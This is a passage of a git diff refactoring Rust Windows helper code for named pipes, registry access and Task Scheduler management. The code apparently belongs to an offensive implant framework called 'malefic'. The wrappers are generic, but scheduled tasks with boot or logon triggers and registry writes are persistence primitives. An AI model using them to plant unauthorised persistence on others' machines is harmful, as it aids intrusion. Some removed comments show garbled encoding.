} } - return Err(io::Error::last_os_error()); - } - _ => { - // debug!("[-] Failed to create file: {:?}, mode: {:?}", err,mode); - return Err(io::Error::last_os_error()); } } } + Err(Error::from(WIN32_ERROR(ERROR_ACCESS_DENIED.0))) } - pub fn connect(name: &str) -> io::Result { + + pub fn connect(name: &str) -> Result { PipeClient::connect_ms(name, 0xFFFFFFFF) } - pub fn connect_ms(name: &str, timeout: u32) -> io::Result { + + pub fn connect_ms(name: &str, timeout: u32) -> Result { let wide_pipe_name: Vec = OsStr::new(&name) .encode_wide() - .chain(Some(0).into_iter()) + .chain(std::iter::once(0)) .collect(); let mut waited = false; loop { @@ -222,22 +228,23 @@ impl PipeClient { let result = unsafe { let mode = NAMED_PIPE_MODE(PIPE_TYPE_BYTE.0 | PIPE_READMODE_BYTE.0 | PIPE_WAIT.0); - let mode_ptr = Some(&mode as *const NAMED_PIPE_MODE); - SetNamedPipeHandleState(handle, mode_ptr, None, None) + SetNamedPipeHandleState( + handle, + Some(&mode as *const NAMED_PIPE_MODE), + None, + None, + ) }; if result.is_ok() { return Ok(PipeClient { handle: Handle { value: handle }, - // ovl: Overlapped::new()?, - // read_timeout: None, - // write_timeout: None, }); } else { - return Err(io::Error::last_os_error()); + return Err(common::last_win32_error()); } } Err(err) => { - if err.raw_os_error().unwrap() == ERROR_PIPE_BUSY.0 as i32 { + if err.code() == windows::core::HRESULT::from_win32(ERROR_PIPE_BUSY.0) { if !waited { waited = true; let result = @@ -256,18 +263,15 @@ impl PipeClient { } } - pub fn read(&self, buffer: &mut [u8]) -> Result { + pub fn read(&self, buffer: &mut [u8]) -> Result { let mut bytes_read = 0; unsafe { - ReadFile(self.handle.value, Some(buffer), Some(&mut bytes_read), None) - .map_err(|e| e.code())?; - + ReadFile(self.handle.value, Some(buffer), Some(&mut bytes_read), None)?; Ok(bytes_read as usize) } } - pub fn write(&self, buffer: &[u8]) -> Result { - assert!(buffer.len() <= 0xFFFFFFFF); + pub fn write(&self, buffer: &[u8]) -> Result { let mut bytes_written = 0; unsafe { WriteFile( @@ -275,9 +279,7 @@ impl PipeClient { Some(buffer), Some(&mut bytes_written), None, - ) - .map_err(|e| e.code())?; - + )?; Ok(bytes_written as usize) } } @@ -287,18 +289,19 @@ impl Drop for PipeClient { fn drop(&mut self) { unsafe { let _ = FlushFileBuffers(self.handle.value); - let _ = DisconnectNamedPipe(self.handle.value); + // Note: DisconnectNamedPipe is a server-only API, not called here } } } +#[derive(Debug)] pub struct AnonymousPipe { read_handle: HANDLE, write_handle: HANDLE, } impl AnonymousPipe { - pub fn create() -> Result { + pub fn create() -> Result { let mut read_handle = HANDLE::default(); let mut write_handle = HANDLE::default(); let mut sa = SECURITY_ATTRIBUTES { @@ -306,23 +309,20 @@ impl AnonymousPipe { lpSecurityDescriptor: std::ptr::null_mut(), bInheritHandle: true.into(), }; - unsafe { if CreatePipe(&mut read_handle, &mut write_handle, Some(&mut sa), 0).is_err() { - return Err(WIN32_ERROR(GetLastError().0)); + return Err(common::last_win32_error()); } } - Ok(AnonymousPipe { read_handle, write_handle, }) } - pub fn read(&self) -> Result { + pub fn read(&self) -> Result { let mut buffer = [0u8; 4096]; let mut total_output = Vec::new(); - loop { let mut bytes_read = 0; let result = unsafe { @@ -333,27 +333,22 @@ impl AnonymousPipe { None, ) }; - if result.is_err() { - let error = unsafe { GetLastError().0 }; - if error == 109 { - // ERROR_BROKEN_PIPE + let error = unsafe { GetLastError() }; + if error == ERROR_BROKEN_PIPE { break; } - return Err(WIN32_ERROR(error)); + return Err(Error::from(WIN32_ERROR(error.0))); } - if bytes_read == 0 { break; } - total_output.extend_from_slice(&buffer[..bytes_read as usize]); } - Ok(String::from_utf8_lossy(&total_output).to_string()) } - pub fn write(&self, data: &[u8]) -> Result { + pub fn write(&self, data: &[u8]) -> Result { let mut bytes_written = 0; unsafe { WriteFile( @@ -361,8 +356,7 @@ impl AnonymousPipe { Some(data), Some(&mut bytes_written), None, - ) - .map_err(|_| WIN32_ERROR(GetLastError().0))?; + )?; } Ok(bytes_written) } @@ -370,7 +364,6 @@ impl AnonymousPipe { pub fn get_read_handle(&self) -> HANDLE { self.read_handle } - pub fn get_write_handle(&self) -> HANDLE { self.write_handle } diff --git a/malefic-helper/src/win/reg/mod.rs b/malefic-crates/win/src/reg/mod.rs similarity index 62% rename from malefic-helper/src/win/reg/mod.rs rename to malefic-crates/win/src/reg/mod.rs index 458a5c0..5e21ff4 100644 --- a/malefic-helper/src/win/reg/mod.rs +++ b/malefic-crates/win/src/reg/mod.rs @@ -1,20 +1,23 @@ -use crate::debug; -use crate::win::common::to_wide_string; +use crate::common::{self, check_win32, to_wide_string, wide_as_bytes}; use std::collections::HashMap; use std::convert::TryInto; use std::fmt; use std::ptr::null_mut; use strum_macros::{Display, EnumString}; -use windows::core::{Error, Result, PCWSTR, PWSTR}; -use windows::Win32::Foundation::{ERROR_SUCCESS, WIN32_ERROR}; +use windows::core::{Result, PCWSTR, PWSTR}; +use windows::Win32::Foundation::{ + ERROR_ACCESS_DENIED, ERROR_FILE_NOT_FOUND, ERROR_MORE_DATA, ERROR_NO_MORE_ITEMS, WIN32_ERROR, +}; use windows::Win32::System::Registry::{ - RegCreateKeyExW, RegDeleteKeyExW, RegDeleteTreeW, RegDeleteValueW, RegEnumKeyExW, - RegEnumValueW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, HKEY, KEY_ALL_ACCESS, KEY_READ, - KEY_WRITE, REG_BINARY, REG_DWORD, REG_EXPAND_SZ, REG_MULTI_SZ, REG_OPTION_NON_VOLATILE, - REG_QWORD, REG_SZ, REG_VALUE_TYPE, + RegCloseKey, RegCreateKeyExW, RegDeleteKeyExW, RegDeleteTreeW, RegDeleteValueW, RegEnumKeyExW, + RegEnumValueW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, HKEY, HKEY_CLASSES_ROOT, + HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER, HKEY_CURRENT_USER_LOCAL_SETTINGS, HKEY_DYN_DATA, + HKEY_LOCAL_MACHINE, HKEY_PERFORMANCE_DATA, HKEY_PERFORMANCE_NLSTEXT, HKEY_PERFORMANCE_TEXT, + HKEY_USERS, KEY_ALL_ACCESS, KEY_READ, KEY_WRITE, REG_BINARY, REG_DWORD, REG_EXPAND_SZ, + REG_MULTI_SZ, REG_OPTION_NON_VOLATILE, REG_QWORD, REG_SZ, REG_VALUE_TYPE, }; -#[cfg_attr(debug_assertions, derive(Debug))] +#[derive(Debug)] pub enum RegistryValue { String(String), Dword(u32), @@ -24,7 +27,7 @@ pub enum RegistryValue { ExpandString(String), } -// 实现将 RegistryValue 转æ¢ä¸º String 的方法 +// Implement method to convert RegistryValue to String impl fmt::Display for RegistryValue { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match self { @@ -38,7 +41,7 @@ impl fmt::Display for RegistryValue { } } -// 实现从缓冲区中读å–并转æ¢ä¸º RegistryValue +// Implement reading from buffer and converting to RegistryValue impl RegistryValue { pub fn from_buffer(data_type: REG_VALUE_TYPE, buffer: &[u8], buffer_size: u32) -> Self { match data_type { @@ -57,12 +60,35 @@ impl RegistryValue { } } REG_DWORD => { - let data: u32 = u32::from_ne_bytes(buffer[..4].try_into().unwrap_or([0, 0, 0, 0])); + if (buffer_size as usize) < 4 { + #[cfg(debug_assertions)] + malefic_common::debug!( + "WARNING: REG_DWORD buffer too small: {} bytes", + buffer_size + ); + return RegistryValue::Dword(0); + } + let data: u32 = u32::from_ne_bytes( + buffer[..4] + .try_into() + .expect("buffer length already checked"), + ); RegistryValue::Dword(data) } REG_QWORD => { - let data: u64 = - u64::from_ne_bytes(buffer[..8].try_into().unwrap_or([0, 0, 0, 0, 0, 0, 0, 0])); + if (buffer_size as usize) < 8 { + #[cfg(debug_assertions)] + malefic_common::debug!( + "WARNING: REG_QWORD buffer too small: {} bytes", + buffer_size + ); + return RegistryValue::Qword(0); + } + let data: u64 = u64::from_ne_bytes( + buffer[..8] + .try_into() + .expect("buffer length already checked"), + ); RegistryValue::Qword(data) } REG_BINARY => RegistryValue::Binary(buffer[..buffer_size as usize].to_vec()), @@ -90,8 +116,7 @@ impl RegistryValue { } } -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, Copy, EnumString, Display)] +#[derive(Debug, Clone, Copy, EnumString, Display)] pub enum RegistryHive { #[strum(serialize = "HKEY_CLASSES_ROOT", serialize = "HKCR")] ClassesRoot, @@ -118,24 +143,16 @@ pub enum RegistryHive { impl RegistryHive { pub fn to_hkey(&self) -> HKEY { match self { - RegistryHive::ClassesRoot => windows::Win32::System::Registry::HKEY_CLASSES_ROOT, - RegistryHive::CurrentUser => windows::Win32::System::Registry::HKEY_CURRENT_USER, - RegistryHive::LocalMachine => windows::Win32::System::Registry::HKEY_LOCAL_MACHINE, - RegistryHive::Users => windows::Win32::System::Registry::HKEY_USERS, - RegistryHive::PerformanceData => { - windows::Win32::System::Registry::HKEY_PERFORMANCE_DATA - } - RegistryHive::PerformanceText => { - windows::Win32::System::Registry::HKEY_PERFORMANCE_TEXT - } - RegistryHive::PerformanceNlsText => { - windows::Win32::System::Registry::HKEY_PERFORMANCE_NLSTEXT - } - RegistryHive::CurrentConfig => windows::Win32::System::Registry::HKEY_CURRENT_CONFIG, - RegistryHive::DynData => windows::Win32::System::Registry::HKEY_DYN_DATA, - RegistryHive::CurrentUserLocalSettings => { - windows::Win32::System::Registry::HKEY_CURRENT_USER_LOCAL_SETTINGS - } + RegistryHive::ClassesRoot => HKEY_CLASSES_ROOT, + RegistryHive::CurrentUser => HKEY_CURRENT_USER, + RegistryHive::LocalMachine => HKEY_LOCAL_MACHINE, + RegistryHive::Users => HKEY_USERS, + RegistryHive::PerformanceData => HKEY_PERFORMANCE_DATA, + RegistryHive::PerformanceText => HKEY_PERFORMANCE_TEXT, + RegistryHive::PerformanceNlsText => HKEY_PERFORMANCE_NLSTEXT, + RegistryHive::CurrentConfig => HKEY_CURRENT_CONFIG, + RegistryHive::DynData => HKEY_DYN_DATA, + RegistryHive::CurrentUserLocalSettings => HKEY_CURRENT_USER_LOCAL_SETTINGS, } } } @@ -149,18 +166,11 @@ impl RegistryKey { let hkey_root = hive.to_hkey(); let subkey_wide = to_wide_string(subkey); let mut hkey: HKEY = HKEY(null_mut()); - debug!("Opening registry key: {:?} {:?}", hive, subkey); + malefic_common::debug!("Opening registry key: {:?} {:?}", hive, subkey); unsafe { - // 定义æƒé™å°è¯•çš„é¡ºåº - let access_levels = [ - KEY_ALL_ACCESS, - KEY_READ | KEY_WRITE, - KEY_READ, - ]; - - #[allow(unused_variables)] - let mut last_status = ERROR_SUCCESS; + let access_levels = [KEY_ALL_ACCESS, KEY_READ | KEY_WRITE, KEY_READ]; + let mut last_status = WIN32_ERROR(0); for &access in &access_levels { let status = RegOpenKeyExW( @@ -174,18 +184,24 @@ impl RegistryKey { if status.0 == 0 { return Ok(RegistryKey { hkey }); } - #[allow(unused_assignments)] last_status = status; - debug!("Failed to open registry key with access {:?}: {}", access, status.0); + malefic_common::debug!( + "Failed to open registry key with access {:?}: {}", + access, + status.0 + ); - // å¦‚æžœä¸æ˜¯æƒé™é”™è¯¯ï¼Œç«‹å³é€€å‡ºå¾ªçޝ - if status.0 != 5 { + if status != WIN32_ERROR(ERROR_ACCESS_DENIED.0) { break; } } - debug!("Failed to open registry key {} {}", last_status.0, Error::from_win32()); - Err(Error::from_win32()) + malefic_common::debug!( + "Failed to open registry key {} {}", + last_status.0, + common::last_win32_error() + ); + Err(windows::core::Error::from(last_status)) } } @@ -195,7 +211,6 @@ impl RegistryKey { let mut hkey: HKEY = HKEY(null_mut()); unsafe { - // å°è¯•使用完整æƒé™åˆ›å»º let mut status = RegCreateKeyExW( hkey_root, PCWSTR(subkey_wide.as_ptr()), @@ -209,12 +224,11 @@ impl RegistryKey { ); if status.0 != 0 { - debug!( + malefic_common::debug!( "Failed to create registry key with KEY_ALL_ACCESS: {}", status.0 ); - // 如果是æƒé™é—®é¢˜ï¼ˆé”™è¯¯ç 5),å°è¯•ä½¿ç”¨æœ‰é™æƒé™ - if status.0 == 5 { + if status == WIN32_ERROR(ERROR_ACCESS_DENIED.0) { status = RegCreateKeyExW( hkey_root, PCWSTR(subkey_wide.as_ptr()), @@ -229,20 +243,28 @@ impl RegistryKey { } } - if status.0 != 0 { - debug!("Failed to create registry key: {}", status.0); - return Err(Error::from_win32()); + if let Err(e) = check_win32(status) { + malefic_common::debug!("Failed to create registry key: {}", status.0); + return Err(e); } } Ok(RegistryKey { hkey }) } + pub fn close(&mut self) { + if !self.hkey.is_invalid() { + unsafe { + let _ = RegCloseKey(self.hkey); + } + self.hkey = HKEY(null_mut()); + } + } + pub fn query_value(&self, name: &str) -> Result { let name_wide = to_wide_string(name); let mut data_type = REG_VALUE_TYPE(0); - let mut buffer = vec![0u8; 256]; // ç¼“å†²åŒºå¤§å°æ ¹æ®éœ€è¦è°ƒæ•´ - let mut buffer_size = buffer.len() as u32; + let mut buffer_size: u32 = 0; unsafe { let status = RegQueryValueExW( @@ -250,15 +272,26 @@ impl RegistryKey { PCWSTR(name_wide.as_ptr()), None, Some(&mut data_type), - Some(buffer.as_mut_ptr()), + None, Some(&mut buffer_size), ); - if status.0 != 0 { - return Err(Error::from_win32()); + if status.0 != 0 && status != WIN32_ERROR(ERROR_MORE_DATA.0) { + return Err(common::last_win32_error()); } - // 调用 RegistryValue çš„ from_buffer 方法,将缓冲区转æ¢ä¸º RegistryValue + let mut buffer = vec![0u8; buffer_size as usize]; + + let status = RegQueryValueExW( + self.hkey, + PCWSTR(name_wide.as_ptr()), + None, + Some(&mut data_type), + Some(buffer.as_mut_ptr()), + Some(&mut buffer_size), + ); + check_win32(status)?; + Ok(RegistryValue::from_buffer(data_type, &buffer, buffer_size)) } } @@ -268,20 +301,20 @@ impl RegistryKey { let subkey_wide = to_wide_string(subkey); let status: WIN32_ERROR = unsafe { RegDeleteTreeW(self.hkey, PCWSTR(subkey_wide.as_ptr())) }; - if status.0 != 0 && status.0 != 2 { - return Err(Error::from_win32()); + if status.0 != 0 && status != WIN32_ERROR(ERROR_FILE_NOT_FOUND.0) { + return Err(common::last_win32_error()); } let status: WIN32_ERROR = unsafe { RegDeleteKeyExW(self.hkey, PCWSTR(subkey_wide.as_ptr()), 0, 0) }; - if status.0 != 0 { - return Err(Error::from_win32()); + if status.0 != 0 && status != WIN32_ERROR(ERROR_FILE_NOT_FOUND.0) { + return Err(common::last_win32_error()); } } else { - let empty_subkey = to_wide_string(""); // 空字符串 + let empty_subkey = to_wide_string(""); let status: WIN32_ERROR = unsafe { RegDeleteKeyExW(self.hkey, PCWSTR(empty_subkey.as_ptr()), 0, 0) }; - if status.0 != 0 { - return Err(Error::from_win32()); + if status.0 != 0 && status != WIN32_ERROR(ERROR_FILE_NOT_FOUND.0) { + return Err(common::last_win32_error()); } } Ok(()) @@ -289,31 +322,22 @@ impl RegistryKey { pub fn delete_value(&self, value_name: &str) -> Result<()> { let value_name_wide = to_wide_string(value_name); - unsafe { - let status = RegDeleteValueW(self.hkey, PCWSTR(value_name_wide.as_ptr())); - if status.0 != 0 { - return Err(Error::from_win32()); - } - } - Ok(()) + let status = unsafe { RegDeleteValueW(self.hkey, PCWSTR(value_name_wide.as_ptr())) }; + check_win32(status) } pub fn set_value(&self, name: &str, value: RegistryValue) -> Result<()> { let name_wide = to_wide_string(name); - unsafe { - let status = match value { + let status = unsafe { + match value { RegistryValue::String(data) => { let data_wide = to_wide_string(&data); - let data_slice = std::slice::from_raw_parts( - data_wide.as_ptr() as *const u8, - data_wide.len() * 2, - ); RegSetValueExW( self.hkey, PCWSTR(name_wide.as_ptr()), 0, REG_SZ, - Some(data_slice), + Some(wide_as_bytes(&data_wide)), ) } RegistryValue::Dword(data) => { @@ -349,38 +373,30 @@ impl RegistryKey { .flat_map(|s| to_wide_string(s)) .chain(Some(0)) .collect(); - let data_slice = std::slice::from_raw_parts( - data_wide.as_ptr() as *const u8, - data_wide.len() * 2, - ); RegSetValueExW( self.hkey, PCWSTR(name_wide.as_ptr()), 0, REG_MULTI_SZ, - Some(data_slice), + Some(wide_as_bytes(&data_wide)), ) } RegistryValue::ExpandString(data) => { let data_wide = to_wide_string(&data); - let data_slice = std::slice::from_raw_parts( - data_wide.as_ptr() as *const u8, - data_wide.len() * 2, - ); RegSetValueExW( self.hkey, PCWSTR(name_wide.as_ptr()), 0, REG_EXPAND_SZ, - Some(data_slice), + Some(wide_as_bytes(&data_wide)), ) } - }; - - if status.0 != 0 { - debug!("Failed to set registry value: {}", status.0); - return Err(Error::from_win32()); } + }; + + if let Err(e) = check_win32(status) { + malefic_common::debug!("Failed to set registry value: {}", status.0); + return Err(e); } Ok(()) @@ -410,12 +426,10 @@ impl RegistryKey { let subkey_name = String::from_utf16_lossy(&name[..name_len as usize]); subkeys.push(subkey_name); index += 1; - } else if status.0 == 259 { - // ERROR_NO_MORE_ITEMS (259),表示没有更多å­é”® + } else if status == WIN32_ERROR(ERROR_NO_MORE_ITEMS.0) { break; } else { - // 其他错误 - return Err(Error::from_win32()); + return Err(common::last_win32_error()); } } } @@ -431,16 +445,38 @@ impl RegistryKey { let mut name = vec![0u16; 256]; let mut name_len = name.len() as u32; let mut data_type = REG_VALUE_TYPE(0); - let mut buffer = vec![0u8; 1024]; // é€‚å½“è®¾ç½®ç¼“å†²åŒºå¤§å° - let mut buffer_size = buffer.len() as u32; + let mut buffer_size: u32 = 0; unsafe { + // First call: get required buffer size for this value + let status = RegEnumValueW( + self.hkey, + index, + PWSTR(name.as_mut_ptr()), + &mut name_len, + None, + Some(&mut data_type.0), + None, + Some(&mut buffer_size), + ); + + if status == WIN32_ERROR(ERROR_NO_MORE_ITEMS.0) { + break; + } else if status.0 != 0 && status != WIN32_ERROR(ERROR_MORE_DATA.0) { + return Err(common::last_win32_error()); + } + + // Allocate buffer with actual needed size + let mut buffer = vec![0u8; buffer_size as usize]; + name_len = name.len() as u32; + + // Second call: get the actual data let status = RegEnumValueW( self.hkey, index, PWSTR(name.as_mut_ptr()), &mut name_len, - Some(null_mut()), + None, Some(&mut data_type.0), Some(buffer.as_mut_ptr()), Some(&mut buffer_size), @@ -451,10 +487,10 @@ impl RegistryKey { let value_content = RegistryValue::from_buffer(data_type, &buffer, buffer_size); values.insert(value_name, value_content); index += 1; - } else if status.0 == 259 { + } else if status == WIN32_ERROR(ERROR_NO_MORE_ITEMS.0) { break; } else { - return Err(Error::from_win32()); + return Err(common::last_win32_error()); } } } @@ -462,3 +498,15 @@ impl RegistryKey { Ok(values) } } + +impl Drop for RegistryKey { + fn drop(&mut self) { + if !self.hkey.is_invalid() { + #[cfg(debug_assertions)] + malefic_common::debug!("WARNING: RegistryKey dropped without close()"); + unsafe { + let _ = RegCloseKey(self.hkey); + } + } + } +} diff --git a/malefic-helper/src/win/scheduler/mod.rs b/malefic-crates/win/src/scheduler/mod.rs similarity index 62% rename from malefic-helper/src/win/scheduler/mod.rs rename to malefic-crates/win/src/scheduler/mod.rs index 760b813..255e46a 100644 --- a/malefic-helper/src/win/scheduler/mod.rs +++ b/malefic-crates/win/src/scheduler/mod.rs @@ -1,16 +1,16 @@ -use crate::debug; use std::path::PathBuf; use std::time::Duration; -use windows::core::{Interface, Result, BSTR, VARIANT}; -use windows::Win32::System::Com::{CoCreateInstance, CoInitializeEx, CLSCTX_ALL, COINIT_MULTITHREADED}; -use windows::Win32::System::TaskScheduler::{IActionCollection, IExecAction, - IRegisteredTask, IRunningTaskCollection, - ITaskDefinition, ITaskFolder, ITaskService, ITrigger, - TaskScheduler, TASK_ACTION_EXEC, TASK_CREATE_OR_UPDATE, TASK_LOGON_NONE, - TASK_STATE, TASK_TRIGGER_BOOT, TASK_TRIGGER_DAILY, TASK_TRIGGER_LOGON, - TASK_TRIGGER_MONTHLY, TASK_TRIGGER_TYPE2, TASK_TRIGGER_WEEKLY}; -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq, Eq, Hash)] +use windows::core::{Error, Interface, Result, BSTR, HRESULT, VARIANT}; +use windows::Win32::System::Com::{ + CoCreateInstance, CoInitializeEx, CLSCTX_ALL, COINIT_MULTITHREADED, +}; +use windows::Win32::System::TaskScheduler::{ + IActionCollection, IExecAction, IRegisteredTask, IRunningTaskCollection, ITaskDefinition, + ITaskFolder, ITaskService, ITrigger, TaskScheduler, TASK_ACTION_EXEC, TASK_CREATE_OR_UPDATE, + TASK_LOGON_NONE, TASK_STATE, TASK_TRIGGER_BOOT, TASK_TRIGGER_DAILY, TASK_TRIGGER_LOGON, + TASK_TRIGGER_MONTHLY, TASK_TRIGGER_TYPE2, TASK_TRIGGER_WEEKLY, +}; +#[derive(Debug, Clone, PartialEq, Eq, Hash)] pub enum TaskTriggerType { Daily, Weekly, @@ -19,9 +19,9 @@ pub enum TaskTriggerType { AtStartup, } -impl TaskTriggerType { - pub fn to_win32(&self) -> TASK_TRIGGER_TYPE2 { - match self { +impl From<&TaskTriggerType> for TASK_TRIGGER_TYPE2 { + fn from(tt: &TaskTriggerType) -> Self { + match tt { TaskTriggerType::Daily => TASK_TRIGGER_DAILY, TaskTriggerType::Weekly => TASK_TRIGGER_WEEKLY, TaskTriggerType::Monthly => TASK_TRIGGER_MONTHLY, @@ -29,9 +29,11 @@ impl TaskTriggerType { TaskTriggerType::AtStartup => TASK_TRIGGER_BOOT, } } +} - pub fn to_int(&self) -> u32 { - match self { +impl From<&TaskTriggerType> for u32 { + fn from(tt: &TaskTriggerType) -> Self { + match tt { TaskTriggerType::Daily => 2, TaskTriggerType::Weekly => 3, TaskTriggerType::Monthly => 4, @@ -39,21 +41,40 @@ impl TaskTriggerType { TaskTriggerType::AtStartup => 8, } } +} - pub fn from_int(value: u32) -> anyhow::Result { +impl TryFrom for TaskTriggerType { + type Error = Error; + fn try_from(value: u32) -> std::result::Result { match value { 2 => Ok(TaskTriggerType::Daily), 3 => Ok(TaskTriggerType::Weekly), 4 => Ok(TaskTriggerType::Monthly), 9 => Ok(TaskTriggerType::AtLogon), 8 => Ok(TaskTriggerType::AtStartup), - _ => Err(anyhow::anyhow!("Invalid TaskTriggerType value: {}", value)), + _ => Err(Error::new( + HRESULT(-1), + &format!("Invalid TaskTriggerType value: {}", value), + )), } } } -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] +impl TaskTriggerType { + pub fn to_win32(&self) -> TASK_TRIGGER_TYPE2 { + self.into() + } + + pub fn to_int(&self) -> u32 { + self.into() + } + + pub fn from_int(value: u32) -> Result { + value.try_into() + } +} + +#[derive(Debug, Clone)] pub struct TaskConfig { pub name: String, pub path: String, @@ -65,8 +86,7 @@ pub struct TaskConfig { pub enabled: bool, } -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] +#[derive(Debug, Clone)] pub struct TaskStatus { pub state: TASK_STATE, pub last_run_time: Option, @@ -74,30 +94,52 @@ pub struct TaskStatus { pub enabled: bool, } -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] +#[derive(Debug, Clone)] pub struct TaskSchedule { pub config: TaskConfig, pub status: TaskStatus, } +/// Parse an ISO 8601 duration string (e.g., "PT1H30M", "PT45S") into a Duration. +/// Only supports the time portion (PT prefix). Returns Duration::ZERO for invalid input. +pub fn parse_iso8601_duration(s: &str) -> Duration { + let s = s.trim(); + if !s.starts_with("PT") && !s.starts_with("pt") { + return Duration::ZERO; + } + let mut total_secs: u64 = 0; + let mut num_buf = String::new(); + for c in s[2..].chars() { + match c { + 'H' | 'h' => { + total_secs += num_buf.parse::().unwrap_or(0) * 3600; + num_buf.clear(); + } + 'M' | 'm' => { + total_secs += num_buf.parse::().unwrap_or(0) * 60; + num_buf.clear(); + } + 'S' | 's' => { + total_secs += num_buf.parse::().unwrap_or(0); + num_buf.clear(); + } + _ => num_buf.push(c), + } + } + Duration::from_secs(total_secs) +} + pub struct TaskSchedulerManager { task_service: ITaskService, } impl TaskSchedulerManager { pub fn initialize() -> Result { - unsafe { let _ = CoInitializeEx(None, COINIT_MULTITHREADED); - // if hr != HRESULT(0) { - // debug!("Failed to initialize COM: {:#?}", hr); - // return Err(hr.into()); - // } let task_service: ITaskService = CoCreateInstance(&TaskScheduler, None, CLSCTX_ALL)?; task_service.Connect(None, None, None, None)?; - // CoUninitialize(); Ok(TaskSchedulerManager { task_service }) } } @@ -108,20 +150,44 @@ impl TaskSchedulerManager { self.task_service.GetFolder(&BSTR::from(&config.path))?; let task_definition: ITaskDefinition = self.task_service.NewTask(0)?; - // 设置触å‘器 + // Set description via RegistrationInfo + if !config.description.is_empty() { + let reg_info = task_definition.RegistrationInfo()?; + reg_info.SetDescription(&BSTR::from(&config.description))?; + } + + // Set trigger let trigger_collection = task_definition.Triggers()?; let trigger = trigger_collection .Create(config.trigger_type.to_win32())? .cast::()?; trigger.SetStartBoundary(&BSTR::from(&config.start_boundary))?; - // 设置执行动作 + // Set repetition if duration is non-zero + if config.duration.as_secs() > 0 { + let repetition = trigger.Repetition()?; + let hours = config.duration.as_secs() / 3600; + let minutes = (config.duration.as_secs() % 3600) / 60; + let seconds = config.duration.as_secs() % 60; + let interval_str = format!("PT{}H{}M{}S", hours, minutes, seconds); + repetition.SetInterval(&BSTR::from(interval_str))?; + } + + // Set enabled state via Settings + let settings = task_definition.Settings()?; + settings.SetEnabled(windows::Win32::Foundation::VARIANT_BOOL::from( + config.enabled, + ))?; + + // Set execution action let action_collection: IActionCollection = task_definition.Actions()?; let action = action_collection.Create(TASK_ACTION_EXEC)?; let exec_action: IExecAction = action.cast()?; - exec_action.SetPath(&BSTR::from(config.executable_path.to_str().unwrap()))?; + exec_action.SetPath(&BSTR::from( + config.executable_path.to_string_lossy().as_ref(), + ))?; - // 注册任务 + // Register task task_folder.RegisterTaskDefinition( &BSTR::from(&config.name), &task_definition, @@ -138,23 +204,18 @@ impl TaskSchedulerManager { pub fn run_task(&self, path: &str, task_name: &str) -> Result<()> { unsafe { - // èŽ·å–æŒ‡å®šè·¯å¾„下的任务文件夹 + // Get task folder at specified path let task_folder: ITaskFolder = self.task_service.GetFolder(&BSTR::from(path))?; - // 查找指定任务 + // Find specified task let task: IRegisteredTask = task_folder.GetTask(&BSTR::from(task_name))?; - // ç«‹å³è¿è¡Œä»»åŠ¡ + // Run task immediately task.Run(None)?; Ok(()) } } pub fn start_task(&self, path: &str, task_name: &str) -> Result<()> { - unsafe { - let task_folder: ITaskFolder = self.task_service.GetFolder(&BSTR::from(path))?; - let task: IRegisteredTask = task_folder.GetTask(&BSTR::from(task_name))?; - task.Run(None)?; - Ok(()) - } + self.run_task(path, task_name) } pub fn stop_task(&self, path: &str, task_name: &str) -> Result<()> { @@ -164,6 +225,7 @@ impl TaskSchedulerManager { let running_tasks: IRunningTaskCollection = task.GetInstances(0)?; let count = running_tasks.Count()?; for i in 0..count { + // COM collections are 1-indexed let index = VARIANT::from(i + 1); let running_task = running_tasks.get_Item(&index)?; running_task.Stop()?; @@ -184,19 +246,17 @@ impl TaskSchedulerManager { unsafe { let task_folder: ITaskFolder = self.task_service.GetFolder(&BSTR::from(path))?; let task: IRegisteredTask = task_folder.GetTask(&BSTR::from(task_name))?; - - let _ = task.Definition()?; self.get_task(&task) } } fn get_task(&self, task: &IRegisteredTask) -> Result { unsafe { - // 获å–任务定义 + // Get task definition let task_definition: ITaskDefinition = task.Definition()?; let triggers = task_definition.Triggers()?; - // é…ç½® TaskConfig + // Configure TaskConfig let mut trigger_type = TaskTriggerType::Daily; let mut start_boundary = "N/A".to_string(); let mut duration = Duration::new(0, 0); @@ -204,6 +264,7 @@ impl TaskSchedulerManager { let mut trigger_count = 0; triggers.Count(&mut trigger_count)?; if trigger_count > 0 { + // COM collections are 1-indexed let trigger = triggers.get_Item(1)?; let mut trigger_start: BSTR = BSTR::new(); trigger.StartBoundary(&mut trigger_start)?; @@ -211,9 +272,8 @@ impl TaskSchedulerManager { let mut interval_bstr: BSTR = BSTR::new(); trigger.Repetition()?.Interval(&mut interval_bstr)?; - duration = Duration::from_secs( - interval_bstr.to_string().parse::().unwrap_or(0) / 10_000_000, - ); + let interval_str = interval_bstr.to_string(); + duration = parse_iso8601_duration(&interval_str); let mut trigger_type_value = TASK_TRIGGER_TYPE2(0); trigger.Type(&mut trigger_type_value)?; @@ -222,6 +282,7 @@ impl TaskSchedulerManager { } let action_collection = task_definition.Actions()?; + // COM collections are 1-indexed let action = action_collection.get_Item(1)?; let exec_action: IExecAction = action.cast()?; let mut path_bstr: BSTR = BSTR::new(); @@ -232,9 +293,18 @@ impl TaskSchedulerManager { .RegistrationInfo()? .Description(&mut description_bstr)?; + // task.Path() returns the full path like "\FolderName\TaskName". + // We need just the folder portion, since all APIs (run/query/delete) + // use path as a folder argument to GetFolder(). + let full_path = task.Path()?.to_string(); + let folder_path = std::path::Path::new(&full_path) + .parent() + .map(|p| p.to_string_lossy().to_string()) + .unwrap_or_else(|| "\\".to_string()); + let config = TaskConfig { name: task.Name()?.to_string(), - path: task.Path()?.to_string(), + path: folder_path, description: description_bstr.to_string(), executable_path: PathBuf::from(path_bstr.to_string()), trigger_type, @@ -243,7 +313,7 @@ impl TaskSchedulerManager { enabled: task.Enabled()?.as_bool(), }; - // èŽ·å– TaskStatus + // Get TaskStatus let state = task.State()?; let last_run_time = task.LastRunTime()?.to_string(); let next_run_time = task.NextRunTime()?.to_string(); @@ -259,7 +329,7 @@ impl TaskSchedulerManager { } } - // 修改 list_tasks_in_folder 以返回 Vec + // Modify list_tasks_in_folder to return Vec fn list_tasks_in_folder(&self, folder: &ITaskFolder) -> Result> { let mut tasks = Vec::new(); unsafe { @@ -267,6 